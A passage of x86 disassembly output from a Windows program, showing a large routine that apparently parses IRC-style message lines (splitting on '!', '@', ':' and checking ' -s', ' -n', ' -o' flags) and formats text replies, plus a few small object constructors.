		call	sub_4017EE
		push	eax
		mov	eax, dword_4490D8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410662:				; CODE XREF: sub_410030+4FFj
		call	sub_401226


loc_410667:				; CODE XREF: sub_410030+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_4113F7
		mov	ecx, offset byte_4493ED
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	ecx, dword_4490C4
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_4106A0:				; CODE XREF: sub_410030+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F8
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410722
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490FC
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_410727


loc_410722:				; CODE XREF: sub_410030+69Bj
		mov	[esp+20h+var_D], 1


loc_410727:				; CODE XREF: sub_410030+6F0j
		lea	ecx, [esp+20h+arg_394]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410794
		cmp	[ebp+16h], bl
		jnz	short loc_410770
		mov	ecx, offset byte_4493ED
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	edx, dword_4490C4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h


loc_410770:				; CODE XREF: sub_410030+713j
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490CC
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410794:				; CODE XREF: sub_410030+70Ej
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_1B4]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490D4
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_1B4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	short loc_410845
		lea	eax, [esp+24h+arg_94]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_94]
		mov	byte ptr [esp+24h+arg_246C], 0Ch
		call	sub_4014DD
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_41082D
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_4015E1


loc_41082D:				; CODE XREF: sub_410030+7F1j
		lea	ecx, [esp+20h+arg_94]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410845:				; CODE XREF: sub_410030+7B7j
		lea	ecx, [esp+24h+arg_304]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490D0
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Dh
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410880
		mov	al, byte_449804
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410884


loc_410880:				; CODE XREF: sub_410030+840j
		mov	[esp+20h+var_D], bl


loc_410884:				; CODE XREF: sub_410030+84Ej
		lea	ecx, [esp+20h+arg_304]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410B91
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+24h+arg_4C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	96h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 0Fh
		jz	short loc_4108E2
		mov	ecx, eax
		call	sub_402072


loc_4108E2:				; CODE XREF: sub_410030+8A9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 10h
		jz	short loc_41090E
		mov	ecx, eax
		call	sub_4010BE


loc_41090E:				; CODE XREF: sub_410030+8D5j
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_4C]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_401AAF
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_7C]
		push	ebx
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		xor	edi, edi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jz	loc_410B7C


loc_41096F:				; CODE XREF: sub_410030+B46j
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 12h
		jz	short loc_410997
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410999
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_410030+95Aj
		xor	esi, esi


loc_410999:				; CODE XREF: sub_410030+965j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 13h
		jz	short loc_4109CB
		mov	ecx, eax
		call	sub_4010BE
		mov	[esp+20h+var_C], eax
		jmp	short loc_4109CF
; ---------------------------------------------------------------------------


loc_4109CB:				; CODE XREF: sub_410030+98Cj
		mov	[esp+20h+var_C], ebx


loc_4109CF:				; CODE XREF: sub_410030+999j
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4013ED
		test	eax, eax
		jz	short loc_4109F2
		mov	byte ptr [esi+93h], 1
		jmp	short loc_4109F8
; ---------------------------------------------------------------------------


loc_4109F2:				; CODE XREF: sub_410030+9B7j
		mov	[esi+93h], bl


loc_4109F8:				; CODE XREF: sub_410030+9C0j
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A13
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410A19
; ---------------------------------------------------------------------------


loc_410A13:				; CODE XREF: sub_410030+9D8j
		mov	[esi+94h], bl


loc_410A19:				; CODE XREF: sub_410030+9E1j
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A34
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410A3A
; ---------------------------------------------------------------------------


loc_410A34:				; CODE XREF: sub_410030+9F9j
		mov	[esi+95h], bl


loc_410A3A:				; CODE XREF: sub_410030+A02j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1E4]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 14h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_1E4]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset byte_448F30
		lea	ecx, [esi+54h]
		call	sub_4015E1
		push	offset byte_448F30
		lea	ecx, [esi+3Fh]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_AC]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 15h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_AC]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_214]
		push	edi
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 16h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		lea	ecx, [esp+20h+arg_214]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		mov	ecx, [esp+20h+var_C]
		push	1
		push	esi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410B29
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410B29:				; CODE XREF: sub_410030+AEEj
		mov	ecx, [esp+20h+var_C]
		call	sub_4013DE
		inc	edi
		push	offset asc_4445EC ; "|"
		lea	edx, [esp+24h+arg_7C]
		push	edi
		push	edx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jnz	loc_41096F


loc_410B7C:				; CODE XREF: sub_410030+939j
		lea	ecx, [esp+20h+arg_4C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410B91:				; CODE XREF: sub_410030+86Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_334]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490C8
		mov	byte ptr [esp+20h+arg_246C], 17h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_334]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410EAB
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 18h
		jz	short loc_410C0B
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410C0D
; ---------------------------------------------------------------------------


loc_410C0B:				; CODE XREF: sub_410030+BCEj
		xor	esi, esi


loc_410C0D:				; CODE XREF: sub_410030+BD9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 19h
		jz	short loc_410C3C
		mov	ecx, eax
		call	sub_4010BE
		mov	edi, eax
		jmp	short loc_410C3E
; ---------------------------------------------------------------------------


loc_410C3C:				; CODE XREF: sub_410030+BFFj
		xor	edi, edi


loc_410C3E:				; CODE XREF: sub_410030+C0Aj
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410C60
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410C66
; ---------------------------------------------------------------------------


loc_410C60:				; CODE XREF: sub_410030+C25j
		mov	[esi+95h], bl


loc_410C66:				; CODE XREF: sub_410030+C2Ej
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410C81
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410C87
; ---------------------------------------------------------------------------


loc_410C81:				; CODE XREF: sub_410030+C46j
		mov	[esi+93h], bl


loc_410C87:				; CODE XREF: sub_410030+C4Fj
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410CA2
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410CA8
; ---------------------------------------------------------------------------


loc_410CA2:				; CODE XREF: sub_410030+C67j
		mov	[esi+94h], bl


loc_410CA8:				; CODE XREF: sub_410030+C70j
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+24h+arg_274]
		push	ebx
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_3C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Ah
		call	sub_4016B8
		push	offset asc_444C60 ; "!"
		lea	edx, [esp+24h+arg_244]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Bh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 1Ch
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_244]
		mov	byte ptr [esp+20h+arg_246C], 1Bh
		call	sub_401226
		lea	ecx, [esp+20h+arg_3C4]
		mov	byte ptr [esp+20h+arg_246C], 1Ah
		call	sub_401226
		lea	ecx, [esp+20h+arg_274]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C60 ; "!"
		lea	eax, [esp+24h+arg_DC]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Dh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+24h+arg_246C], 1Eh
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_C4]
		mov	byte ptr [esp+20h+arg_246C], 1Dh
		call	sub_401226
		lea	ecx, [esp+20h+arg_DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset a@	; "@"
		lea	edx, [esp+24h+arg_13C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_10C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Fh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+24h+arg_246C], 20h
		call	sub_401FDC
		mov	byte ptr [esp+20h+arg_246C], 1Fh
		lea	ecx, [esp+20h+arg_10C]
		call	sub_401226
		lea	ecx, [esp+20h+arg_13C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_16C]
		push	2
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 21h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_16C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C5C ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_410E7D
		add	eax, 2
		push	eax
		jmp	short loc_410E82
; ---------------------------------------------------------------------------


loc_410E7D:				; CODE XREF: sub_410030+E45j
		push	offset byte_448F30


loc_410E82:				; CODE XREF: sub_410030+E4Bj
		mov	ecx, esi
		call	sub_4015E1
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410E9F
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410E9F:				; CODE XREF: sub_410030+E64j
		mov	ecx, edi
		call	sub_4013DE
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410EAB:				; CODE XREF: sub_410030+BADj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_19C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490EC
		mov	byte ptr [esp+20h+arg_246C], 22h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_19C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411080
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	edx, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	edx
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_410F72
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	eax, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	eax
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 23h
		mov	ecx, esp
		mov	[esp+50h+arg_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	ecx
		lea	ecx, [esp+5Ch+var_8]
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+50h+arg_246C], bl
		call	sub_40212B


loc_410F72:				; CODE XREF: sub_410030+EF3j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1CC]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_4E8E45
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 24h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_1CC]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4113F7
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+24h+arg_22C]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C60 ; "!"
		lea	ecx, [esp+24h+arg_1FC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 25h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 26h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_25C]
		call	sub_401870
		lea	ecx, [esp+20h+arg_1FC]
		mov	byte ptr [esp+20h+arg_246C], 29h
		call	sub_401226
		lea	ecx, [esp+20h+arg_22C]
		mov	byte ptr [esp+20h+arg_246C], 28h
		call	sub_401226
		mov	ecx, offset byte_4493ED
		mov	[ebp+16h], bl
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	edx, dword_4490C4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+20h+arg_25C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_411080:				; CODE XREF: sub_410030+EC7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_28C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490E0
		mov	byte ptr [esp+20h+arg_246C], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_28C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411238
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+24h+arg_2EC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C60 ; "!"
		lea	ecx, [esp+24h+arg_2BC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 2Bh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 2Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_34]
		call	sub_401870
		lea	ecx, [esp+20h+arg_2BC]
		mov	byte ptr [esp+20h+arg_246C], 2Fh
		call	sub_401226
		lea	ecx, [esp+20h+arg_2EC]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226
		push	offset asc_444C5C ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		mov	esi, dword_511B04
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_411223
		push	offset asc_444C5C ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		call	esi	; strstr
		add	esp, 8
		lea	ecx, [esp+20h+arg_64]
		push	eax
		call	sub_401870
		push	offset byte_448F30
		lea	ecx, [esp+24h+arg_34]
		mov	byte ptr [esp+24h+arg_246C], 30h
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41120F
		push	offset byte_448F30
		lea	ecx, [esp+24h+arg_64]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41120F
		sub	esp, 18h
		lea	edx, [esp+38h+arg_34]
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_4111EB
		lea	ecx, [esp+20h+arg_64]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_401FDC


loc_4111EB:				; CODE XREF: sub_410030+11A9j
		push	offset byte_4E8E45
		lea	ecx, [esp+24h+arg_34]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41120F
		lea	edx, [esp+20h+arg_64]
		mov	ecx, offset byte_4E8E45
		push	edx
		call	sub_401FDC


loc_41120F:				; CODE XREF: sub_410030+1173j
					; sub_410030+1188j ...
		lea	ecx, [esp+20h+arg_64]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226


loc_411223:				; CODE XREF: sub_410030+1134j
		lea	ecx, [esp+20h+arg_34]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_411238:				; CODE XREF: sub_410030+109Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_34C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F0
		mov	byte ptr [esp+20h+arg_246C], 31h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4112BF
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_31C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_449100
		mov	byte ptr [esp+20h+arg_246C], 32h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_31C]
		mov	byte ptr [esp+20h+arg_246C], 31h
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_4112C4


loc_4112BF:				; CODE XREF: sub_410030+1238j
		mov	[esp+20h+var_D], 1


loc_4112C4:				; CODE XREF: sub_410030+128Dj
		lea	ecx, [esp+20h+arg_34C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4113F7
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+24h+arg_37C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 33h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C60 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		lea	ecx, [esp+20h+arg_37C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4113F7
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+24h+arg_3DC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 34h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C60 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+3Ch+arg_3AC]
		push	1
		push	edx
		lea	ecx, [esp+44h+var_8]
		mov	byte ptr [esp+44h+arg_246C], 35h
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 36h
		mov	ecx, esp
		mov	[esp+50h+var_C], esp
		push	offset asc_444C60 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+50h+arg_246C], 37h
		call	sub_40212B
		lea	ecx, [esp+20h+arg_3AC]
		mov	byte ptr [esp+20h+arg_246C], 34h
		call	sub_401226
		lea	ecx, [esp+20h+arg_3DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	short loc_4113F7
; ---------------------------------------------------------------------------


loc_4113F0:				; CODE XREF: sub_410030+391j
		mov	ecx, ebp
		call	sub_401D20


loc_4113F7:				; CODE XREF: sub_410030+1D3j
					; sub_410030+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_410072


loc_411400:				; CODE XREF: sub_410030+3Cj
					; sub_410030+4Fj
		lea	ecx, [esp+20h+var_8]
		mov	[esp+20h+arg_246C], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+20h+arg_2464]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_410030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 500h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411930	proc near		; CODE XREF: sub_4010BEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411930
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_402072
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411930	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4119B0:				; CODE XREF: ___:loc_40115Ej
					; ___:004016F4j
		push	esi
		mov	esi, ecx
		call	sub_40101E
		test	byte ptr [esp+8], 1
		jz	short loc_4119C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4119C8:				; CODE XREF: ___:004119BDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4119E0	proc near		; CODE XREF: sub_40101Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4119E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F038
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401979
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
